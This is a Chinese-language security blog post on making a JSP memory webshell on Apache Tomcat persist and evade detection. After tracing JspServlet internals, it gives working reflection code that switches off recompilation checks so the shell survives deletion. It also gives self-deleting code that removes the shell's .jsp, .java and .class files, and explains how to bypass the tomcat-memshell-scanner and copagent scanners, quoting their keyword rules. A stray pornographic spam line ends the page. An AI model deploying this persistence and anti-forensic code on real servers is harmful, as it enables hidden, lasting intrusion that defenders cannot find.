<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    JSP內存馬研究

    VSole2021-10-16 07:49:21

    前言

    最近在研究webshell免殺的問題,到了內存馬免殺部分發現傳統的Filter或者Servlet查殺手段比較多,不太容易實現免殺,比如有些工具會將所有注冊的Servlet和Filter拿出來,排查人員仔細一點還是會被查出來的,所以

    我們要找一些其他方式實現的內存馬。比如我今天提到的JSP的內存馬(雖然本質上也是一種Servlet類型的馬) 。

    JSP加載流程分析

    在Tomcat中jspjspx都會交給JspServlet處理,所以要想實現JSP駐留內存,首先得分析JspServlet的處理邏輯。

            jsp
            org.apache.jasper.servlet.JspServlet
        ...
        
    ...
    
            jsp
            *.jsp
            *.jspx
        
    

    下面分析JspServlet#service方法,主要的功能是接收請求的URL,判斷是否預編譯,核心的方法是serviceJspFile

    public void service (HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
            String jspUri = jspFile;
                jspUri = (String) request.getAttribute(
                        RequestDispatcher.INCLUDE_SERVLET_PATH);
                if (jspUri != null) {
             //檢查請求是否是通過其他Servlet轉發過來的
                    String pathInfo = (String) request.getAttribute(
                            RequestDispatcher.INCLUDE_PATH_INFO);
                    if (pathInfo != null) {
                        jspUri += pathInfo;
                    }
                } else {
           //獲取ServletPath和pathInfo作為jspUri
                    jspUri = request.getServletPath();
                    String pathInfo = request.getPathInfo();
                    if (pathInfo != null) {
                        jspUri += pathInfo;
                    }
                }
            }
            try {
                //是否預編譯
                boolean precompile = preCompile(request);
                //核心方法
                serviceJspFile(request, response, jspUri, precompile);
            } catch (RuntimeException | IOException | ServletException e) {
                throw e;
            } catch (Throwable e) {
                ExceptionUtils.handleThrowable(e);
                throw new ServletException(e);
            }
        }
    

    preCompile中只有當請求參數以jsp_precompile開始才會進行預編譯,否則不進行預編譯。

    boolean preCompile(HttpServletRequest request) throws ServletException {
            String queryString = request.getQueryString();
            if (queryString == null) {
                return false;
            }
            //    public static final String PRECOMPILE = System.getProperty("org.apache.jasper.Constants.PRECOMPILE", "jsp_precompile");
            int start = queryString.indexOf(Constants.PRECOMPILE);
            if (start < 0) {
                return false;
            }
            queryString =
                queryString.substring(start + Constants.PRECOMPILE.length());
            if (queryString.length() == 0) {
                return true;             // ?jsp_precompile
            }
            if (queryString.startsWith("&")) {
                return true;             // ?jsp_precompile&foo=bar...
            }
            if (!queryString.startsWith("=")) {
                return false;            // part of some other name or value
            }
           ...
        }
    

    那么預編譯的作用是什么?當進行預編譯后會怎么樣?答案在JspServletWrapper#service中,當預編譯后,請求便不會調用對應JSP的servlet的service方法進行處理,所以要想讓我們的JSP能正常使用,當然是不要預編譯的,默認情況下也不會預編譯。

    public void service(HttpServletRequest request,
                            HttpServletResponse response,
                            boolean precompile)
                throws ServletException, IOException, FileNotFoundException {
            Servlet servlet;
          ...
    
                // If a page is to be precompiled only, return.
                if (precompile) {
                    return;
         ...
                /*
                 * (4) Service request
                 */
                if (servlet instanceof SingleThreadModel) {
                   // sync on the wrapper so that the freshness
                   // of the page is determined right before servicing
                   synchronized (this) {
                       ``.service(request, response);
                    }
                } else {
                    servlet.service(request, response);
                }
          ...
    

    下面再來看serviceJspFile方法,該方法判斷JSP是否已經被注冊為一個Servlet,不存在則創建JspServletWrapper并put到JspRuntimeContext中,JspServletWrapper.service是核心方法。

    private void serviceJspFile(HttpServletRequest request,
                                    HttpServletResponse response, String jspUri,
                                    boolean precompile)
            throws ServletException, IOException {
    //    首先判斷JSP是否已經被注冊為一個Servlet,ServletWrapper是Servlet的包裝類,所有注冊的JSP servlet都會被保存在JspRuntimeContext的jsps屬性中,如果我們第一次請求這個JSP,當然是找不到wrapper的。
            JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
            if (wrapper == null) {
                synchronized(this) {
                    wrapper = rctxt.getWrapper(jspUri);
                    if (wrapper == null) {
                     //檢查JSP文件是否存在
                        if (null == context.getResource(jspUri)) {
                            handleMissingResource(request, response, jspUri);
                            return;
                        }
                        //創建JspServletWrapper
                        wrapper = new JspServletWrapper(config, options, jspUri,
                                                     rctxt);
                        //添加wrapper到JspRuntimeContext的jsps屬性中
                        rctxt.addWrapper(jspUri,wrapper);
                    }
                }
            }
            try {
                //核心方法
                wrapper.service(request, response, precompile);
            } catch (FileNotFoundException fnfe) {
                handleMissingResource(request, response, jspUri);
            }
        }
    

    JspServletWrapper.service主要做了如下操作。

    • 根據jsp生成java文件并編譯為class

    • 將class文件注冊為servlet

    • 調用servlet.service方法完成調用

    JSP生成java和class文件主要由下面的代碼完成,這里的options.getDevelopment()代表的是部署模式。

    tomcat的開發模式和生產模式的設定是通過conf文件夾下面的web.xml文件來配置的。

    在開發模式下,容器會經常檢查jsp文件的時間戳來決定是否進行編譯,如果jsp文件的時間戳比對應的.class文件的時間戳晚就證明jsp又進行了修改,需要再次編譯,但是不斷地進行時間戳的比對開銷很大,會影響系統性能,而在生產模式下系統不會經常想的檢查時間戳。所以一般在開發過程中使用開發模式,這樣可以在jsp修改后再次訪問就可以見到修改后的效果非常方便,而系統上線之后就要改為生產模式,雖然生產模式下會導致jsp的修改需要重啟服務器才可以生效,但是上線后的改動較少而且性能很重要。

    默認Tomcat是以開發模式運行的。一般我們遇到的Tomcat都是以開發模式運行的,所以會由JspCompilationContext#compile進行編譯。

    if (options.getDevelopment() || mustCompile) {
                    synchronized (this) {
                        if (options.getDevelopment() || mustCompile) {
                            ctxt.compile();
                            mustCompile = false;
                        }
                    }
                } else {
                    if (compileException != null) {
                        // Throw cached compilation exception
                        throw compileException;
                    }
                }
    

    下面我們看下編譯部分都做了什么,Tomcat默認使用JDTCompiler編譯,首先通過isOutDated判斷是否需要編譯,再去檢查JSP文件是否存在,刪除原有的java和Class文件,通過jspCompiler.compile()編譯。

    public void compile() throws JasperException, FileNotFoundException {
          //獲取編譯器,默認使用JDTCompiler編譯
            createCompiler();
          //通過isOutDated決定是否編譯
            if (jspCompiler.isOutDated()) {
                if (isRemoved()) {
                    throw new FileNotFoundException(jspUri);
                }
                try {
                    //刪除已經生成的java和Class文件
                    jspCompiler.removeGeneratedFiles();
                    jspLoader = null;
                    //編譯
                    jspCompiler.compile();
                    jsw.setReload(true);
                    jsw.setCompilationException(null);
                ...
        }
    

    下面我們分析如何將生成的class文件注冊為Servlet。首先判斷theServlet是否為空,如果為空則表示還沒有為JSP文件創建過Servlet,則通過InstanceManager.newInstance創建Servlet,并將創建的Servlet保存在theServlet屬性中。

    public Servlet getServlet() throws ServletException {
    // getReloadInternal是否Reload默認為False,也就是說如果theServlet為true就會直接返回。
            if (getReloadInternal() || theServlet == null) {
                synchronized (this) {
    
                    if (getReloadInternal() || theServlet == null) {
                 //如果theServlet中有值則銷毀該Servlet.
                        destroy();
                        final Servlet servlet;
                        try {
                            //創建Servlet實例
                            InstanceManager instanceManager = InstanceManagerFactory.getInstanceManager(config);
                            servlet = (Servlet) instanceManager.newInstance(ctxt.getFQCN(), ctxt.getJspLoader());
                        } catch (Exception e) {
                            Throwable t = ExceptionUtils
                                    .unwrapInvocationTargetException(e);
                            ExceptionUtils.handleThrowable(t);
                            throw new JasperException(t);
                        }
                    //初始化servlet
                        servlet.init(config);
                        if (theServlet != null) {
                            ctxt.getRuntimeContext().incrementJspReloadCount();
                        }
                    //將servlet保存到theServlet中,theServlet由volatile修飾,在線程之間可以共享。
                        theServlet = servlet;
                        reload = false;
                    }
                }
            }
            return theServlet;
        }
    

    下面有一個小知識點,theServlet是由volatile修飾的,在不同的線程之間可以共享,再通過synchronized (this)加鎖,也就是說無論我們請求多少次,無論是哪個線程處理,只要this是一個值,那么theServlet屬性的值是一樣的,而this就是當前的jspServletWrapper,我們訪問不同的JSP也是由不同的jspServletWrapper處理的。

    最后就是調用servlet.service方法完成請求處理。

    內存駐留分析

    上面我們已經分析完了JSP的處理邏輯,要想要完成內存駐留,我們要解決下面的問題。

    • 請求后不去檢查JSP文件是否存在
    • theServlet中一直保存著我們的servlet,當我們請求對應url還能交給我們的servlet處理

    第二個問題比較容易,theServlet能否獲取到Servlet或者獲取到哪個Servlet和jspServletWrapper是有關的,而在JspServlet#serviceJspFile中,如果我們已經將Servlet注冊過,可以根據url從JspRuntimeContext中獲取得到對應的jspServletWrapper

    private void serviceJspFile(HttpServletRequest request,
                                    HttpServletResponse response, String jspUri,
                                    boolean precompile)
            throws ServletException, IOException {
            JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
            if (wrapper == null) {
           ...
            }
            try {
                wrapper.service(request, response, precompile);
            } catch (FileNotFoundException fnfe) {
                handleMissingResource(request, response, jspUri);
            }
        }
    

    繞過方法一

    下面解決請求后不去檢查JSP文件是否存在問題,首先我想繞過下面的判斷,如果我們能讓options.getDevelopment()返回false就不會進入complie部分。

    if (options.getDevelopment() || mustCompile) {
                    synchronized (this) {
                        if (options.getDevelopment() || mustCompile) {
                            // The following sets reload to true, if necessary
                            ctxt.compile();
                            mustCompile = false;
                        }
                    }
                }
    

    development并不是一個static屬性,所以不能直接修改,要拿到options的對象。

    private boolean development = true;
    

    options對象被存儲在JspServlet中,

    public class JspServlet extends HttpServlet implements PeriodicEventListener {
    ...
        private transient Options options;
    

    MappingData中保存了路由匹配的結果,MappingDatawrapper字段包含處理請求的wrapper,在Tomcat中,Wrapper代表一個Servlet,它負責管理一個 Servlet,包括的 Servlet的裝載、初始化、執行以及資源回收。在Wrapperinstance屬性中保存著servlet的實例,因此我們可以從MappingData中拿到JspServlet進而更改optionsdevelopment屬性值。

    public class MappingData {
        public Host host = null;
        public Context context = null;
        public int contextSlashCount = 0;
        public Context[] contexts = null;
        public Wrapper wrapper = null;
        public boolean jspWildCard = false;
    }
    

    所以我們可以通過反射對development的屬性修改,下面代碼參考Tomcat容器攻防筆記之JSP金蟬脫殼

    <%
        //從request對象中獲取request屬性
        Field requestF = request.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        Request req = (Request) requestF.get(request);
        //獲取MappingData
        MappingData mappingData = req.getMappingData();
        //獲取Wrapper
        Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
        wrapperF.setAccessible(true);
        Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
          //獲取jspServlet對象
        Field instanceF = wrapper.getClass().getDeclaredField("instance");
        instanceF.setAccessible(true);
        Servlet jspServlet = (Servlet) instanceF.get(wrapper);
        //獲取options中保存的對象
        Field Option = jspServlet.getClass().getDeclaredField("options");
        Option.setAccessible(true);
        EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
        //設置development屬性為false
        Field Developent = op.getClass().getDeclaredField("development");
        Developent.setAccessible(true);
        Developent.set(op,false);
    %>
    

    既然已經分析好了,我們做一個測試, 當我們第二次請求我們的腳本development

    的屬性值已經被改為false,即使我們刪除對應的jsp\java\Class文件,仍然還可以還可以正常請求shell。

    那么經過修改后會不會導致后來上傳的jsp文件都無法執行的問題呢?

    不會,因為每一個JSP文件,只有已經編譯并且注冊為Servlet后,mustCompile屬性才會為False,默認為True,并且mustCompile也是由volatile修飾并且在synchronized加鎖的代碼塊中,只有同一個jspServletWrappermustCompile的修改在下次請求時還有效。當然也不是說完全沒有影響,

    如果我們想修改一個已經加載為Servlet 的JSP文件,即使修改了也不會生效。

    if (options.getDevelopment() || mustCompile) {
                    synchronized (this) {
                        if (options.getDevelopment() || mustCompile) {
                            ctxt.compile();
                            mustCompile = false;
                        }
                    }
    

    繞過方法二

    下一個我們有機會繞過的點在compile中,如果我們能讓isOutDated返回false,也可以達到繞過的目的。

    public void compile() throws JasperException, FileNotFoundException {
            createCompiler();
            if (jspCompiler.isOutDated()) {
             ...
            }
        }
    

    注意看下面的代碼,在isOutDated中,當滿足下面的條件則會返回false。jsw中保存的是jspServletWarpper對象,所以是不為null的,并且modificationTestInterval默認值是4也滿足條件,所以我們現在要做的就是讓modificationTestInterval*1000大于System.currentTimeMillis(),所以

    只要將modificationTestInterval 修改為一個比較大的值也可以達到繞過的目的。

    public boolean isOutDated(boolean checkClass) {
            if (jsw != null
                    && (ctxt.getOptions().getModificationTestInterval() > 0)) {
                if (jsw.getLastModificationTest()
                        + (ctxt.getOptions().getModificationTestInterval() * 1000) > System.currentTimeMillis()) {
                    return false;
                }
            }
    

    modificationTestInterval也保存在options屬性中,所以修改的方法和方法一類似,就不羅列代碼了。

    public final class EmbeddedServletOptions implements Options {
    ...
       private int modificationTestInterval = 4;
        ...
    }
    

    查殺情況分析

    tomcat-memshell-scanner

    這款工具會Dump出所有保存在servletMappings中的Servlet的信息,不過我們的JSPServlet并沒有保存在servletMappings中,而是在JspRuntimeContext#jsps字段中,因此根本查不到。

    copagent

    JSP本質上也就是Servlet,編譯好的Class繼承了HttpJspBase,類圖如下所示。

    copagent流程分析

    copagent首先獲取所有已經加載的類,并創建了幾個數組。

    • riskSuperClassesName中保存了HttpServlet,用于獲取Servlet,因為我們注冊的Servlet會直接或者間接繼承HttpServlet

    • riskPackage保存了一些惡意的包名,比如冰蝎的包名為net.rebeyond,使用冰蝎連接webshell時會將自己的惡意類加載到內存,而這個惡意類也是以net.rebeyond為包名的

    • riskAnnotations保存了SpringMVC中注解注冊Controller的類型,顯然是為了抓出所有SpringMVC中通過注解注冊的Controller
    private static synchronized void catchThief(String name, Instrumentation ins){
       ...
            List<Class> resultClasses = new ArrayList<Class>();
            // 獲得所有已加載的類及類名
            Class[] loadedClasses = ins.getAllLoadedClasses();
            LogUtils.logit("Found All Loaded Classes    : " + loadedClasses.length);
            List<String> loadedClassesNames = new ArrayList<String>();
            for(Class cls: loadedClasses){
                loadedClassesNames.add(cls.getName());
            }
       ...
            // 實現的可能具有 web shell 功能的父類名
            List<String> riskSuperClassesName = new ArrayList<String>();
            riskSuperClassesName.add("javax.servlet.http.HttpServlet");
            // 黑名單攔截
            List<String> riskPackage = new ArrayList<String>();
            riskPackage.add("net.rebeyond.");
            riskPackage.add("com.metasploit.");
            // 風險注解
            List<String> riskAnnotations = new ArrayList<String>();
            riskAnnotations.add("org.springframework.stereotype.Controller");
          riskAnnotations.add("org.springframework.web.bind.annotation.RestController");      riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping");
            riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping");
            riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping");
            riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping");
            riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping");
            riskAnnotations.add("org.springframework.web.bind.annotation.Mapping");
        ...
    

    下面代碼完成主要的檢測邏輯,首先會檢測包名和SpringMVC注解的類,檢測到則添加到resultClasses中,并且修改not_found標志位為False,表示不檢測Servelt/Filter/Listener類型的shell。

    for(Class clazz: loadedClasses){
                    Class target = clazz;
                    boolean not_found = true;
          //檢測包名是否為惡意包名,如果是則設置not_found為false,代表已經被shell連接過了,跳過后面Servlet和Filter內存馬部分的檢測并Dump出惡意類的信息。
                    for(String packageName: riskPackage){
                        if(clazz.getName().startsWith(packageName)){
                            resultClasses.add(clazz);
                            not_found = false;
                            ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
                            break;
                        }
                    }
        //判斷是否使用SpringMVC的注解注冊Controller,如果是則Dump出使用注解的Controller的類的信息
                    if(ClassUtils.isUseAnnotations(clazz, riskAnnotations)){
                        resultClasses.add(clazz);
                        not_found = false;
                        ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
                    }
          //檢測Servelt/Filter/Listener類型Webshell
          if(not_found){
                        // 遞歸查找
                        while (target != null && !target.getName().equals("java.lang.Object")){
                            // 每次都重新獲得目標類實現的所有接口
                            interfaces = new ArrayList<String>();
                            for(Class cls: target.getInterfaces()){
                                interfaces.add(cls.getName());
                            }
                            if( // 繼承危險父類的目標類
                                    (target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
                                            // 實現特殊接口的目標類
                                            target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||
                                            interfaces.contains("javax.servlet.Filter") ||
                                            interfaces.contains("javax.servlet.Servlet") ||
                                            interfaces.contains("javax.servlet.ServletRequestListener")
                            )
                            {
         ...
                                if(loadedClassesNames.contains(clazz.getName())){
                                    resultClasses.add(clazz);
                                    ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
                                }else{
                                   ...
                                }
                                break;
                            }
                            target = target.getSuperclass();
                        }
                    }
    

    我們主要關注Servlet的檢測,首先獲取當前Class的實現接口,如果Class的父類不為空并且父類不是HttpServlet,并且沒有實現Serlvet\Filter\ServletRequestListener等接口則不會被添加到resultClasses但會遞歸的去檢查父類。由于JSP文件實際繼承了HttpJspBase,相當于間接繼承了HttpServlet,所以是繞不過這里的檢查的,不過沒關系,這一步只是檢查是否是Servlet,并不代表被檢測出來了。

    while (target != null && !target.getName().equals("java.lang.Object")){
                            // 每次都重新獲得目標類實現的所有接口
                            interfaces = new ArrayList<String>();
                            for(Class cls: target.getInterfaces()){
                                interfaces.add(cls.getName());
                            }
                            if( // 繼承危險父類的目標類
                                    (target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
                                            // 實現特殊接口的目標類
                                            target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||interfaces.contains("javax.servlet.Filter") ||interfaces.contains("javax.servlet.Servlet") ||interfaces.contains("javax.servlet.ServletRequestListener")
                            )
                            {
                                if(loadedClassesNames.contains(clazz.getName())){
                                    resultClasses.add(clazz);
                                    ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
                                }else{
                                    LogUtils.logit("cannot find " + clazz.getName() + " classes in instrumentation");
                                }
                                break;
                          ...
                            }
                            target = target.getSuperclass();
                        }
    

    下面是判斷是否為惡意內容的核心,只有當resultClasses中包含了關鍵下面的關鍵字才會被標記為high,這里如果我們使用自定義馬的話也是可以繞過的,但是如果要使用冰蝎,一定會被javax.crypto.加密包的規則檢測到,如果是自定義加密算法也是可以繞過的。

    List<String> riskKeyword = new ArrayList<String>();
            riskKeyword.add("javax.crypto.");
            riskKeyword.add("ProcessBuilder");
            riskKeyword.add("getRuntime");
            riskKeyword.add("shell");
    ...
            for(Class clazz: resultClasses){
                File dumpPath = PathUtils.getStorePath(clazz, false);
                String level = "normal";
                String content = PathUtils.getFileContent(dumpPath);
                for(String keyword: riskKeyword){
                    if(content.contains(keyword)){
                        level = "high";
                        break;
                    }
                }
    

    自刪除

    上面只是分析了如何讓我們的JSP在刪除了JSP\java\Class文件后還能訪問,下面我們分析如何在JSP中實現刪除JSP\java\Class文件,在JspCompilationContext保存著JSP編譯的上下文信息,我們可以從中拿到java/class的絕對路徑。

    JspCompilationContext對象保存在JspServletWrapper中,所以要先獲取JspServletWrapper

    public JspServletWrapper(ServletConfig config, Options options,
                String jspUri, JspRuntimeContext rctxt) {
            ...
            ctxt = new JspCompilationContext(jspUri, options,
                                             config.getServletContext(),
                                             this, rctxt);
        }
    

    request.request.getMappingData().wrapper.instance.rctxt.jsps.get("/jsp.jsp")

    下面是代碼實現

    <%
        //從request對象中獲取request屬性
        Field requestF = request.getClass().getDeclaredField("request");
        requestF.setAccessible(true);
        Request req = (Request) requestF.get(request);
        //獲取MappingData
        MappingData mappingData = req.getMappingData();
        //獲取Wrapper,這里的Wrapper是StandrardWrapper
        Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
        wrapperF.setAccessible(true);
        Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
          //獲取jspServlet對象
        Field instanceF = wrapper.getClass().getDeclaredField("instance");
        instanceF.setAccessible(true);
        Servlet jspServlet = (Servlet) instanceF.get(wrapper);
        //獲取rctxt屬性
        Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
        rctxt.setAccessible(true);
        JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
        //獲取jsps屬性內容
        Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
        jspsF.setAccessible(true);
        ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
        //獲取對應的JspServletWrapper
        JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
        //獲取ctxt屬性保存的JspCompilationContext對象
        Field ctxt = jsw.getClass().getDeclaredField("ctxt");
        ctxt.setAccessible(true);
        JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw);
        File targetFile;
        targetFile = new File(jspCompContext.getClassFileName());//刪掉jsp的.class
        targetFile.delete();
        targetFile = new File(jspCompContext.getServletJavaFileName());//刪掉jsp的java文件
        targetFile.delete();
        //刪除JSP文件
         String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
        String path=application.getRealPath(__jspName);
        File file = new File(path);
        file.delete();
    %>
    

    最后有個不兼容的小BUG,tomcat7和8/9的MappingData類包名發生了變化

    tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
    tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>
    

    總結

    雖然不能使用冰蝎等webshell繞過這兩款工具的檢測,但是當我們了解了查殺原理,將自己的webshell稍微改一下,也是可以繞過的,最后這篇文章來自于參考Tomcat容器攻防筆記之JSP金蟬脫殼文章的實踐,感謝前輩。

    servlet文件屬性
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0x01 背景 在內存馬橫行的當下,藍隊or應急的師傅如何能快速判斷哪些Filter/Servlet是內存馬,分析內存馬的行為功能是什么?考慮到Agent技術針對紅隊來說比較重,我們這次使用jsp技術來解決以上問題。
    filter是javaweb中的過濾器,會對客戶端發送的請求進行過濾并做一些操作,我們可以在filter中寫入命令執行的惡意文件,讓客戶端發來的請求通過它來做命令執行。 而filter內存馬是通過動態注冊一個惡意filter,由于是動態注冊的,所以這個filter沒有文件實體,存在于內存中,隨著tomcat重啟而消失。 一般我們把這個filter放在所有filter最前面優先執行,這樣我們的請
    Eclipse Jetty是一個Java Web 服務器和Java Servlet容器。雖然 Web 服務器通常與向人們提供文檔相關聯,但 Jetty 現在通常用于機器對機器的通信,通常在更大的軟件框架內。Jetty 是作為Eclipse Foundation的一部分開發的免費和開源項目。Web 服務器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geron
    CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
    Resin存在類似iis6.0的文件解析漏洞,影響全部版本,不僅能夠豐富其他高危漏洞挖掘知識庫,也給隱藏后門帶來了新的一種潛在方式。
    用友 U8 OA test.jsp SQL注入漏洞。用友 GRP-U8 UploadFileData 任意文件上傳漏洞。用友ERP-NC 目錄遍歷漏洞。用友 U8 OA getSessionList.jsp 敏感信息泄漏漏洞
    拿來即用的Tomcat7/8/9/10版本Listener/Filter/Servlet內存馬,支持注入CMD內存馬和冰蝎內存馬。
    拿來即用的Tomcat7/8/9/10版本Listener/Filter/Servlet內存馬,支持注入CMD內存馬和冰蝎內存馬。
    拿來即用的Tomcat7/8/9/10版本Listener/Filter/Servlet內存馬,支持注入CMD內存馬和冰蝎內存馬。
    開箱即用的內存馬
    2022-08-04 07:00:15
    拿來即用的Tomcat7/8/9/10版本Listener/Filter/Servlet內存馬,支持注入CMD內存馬和冰蝎內存馬。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类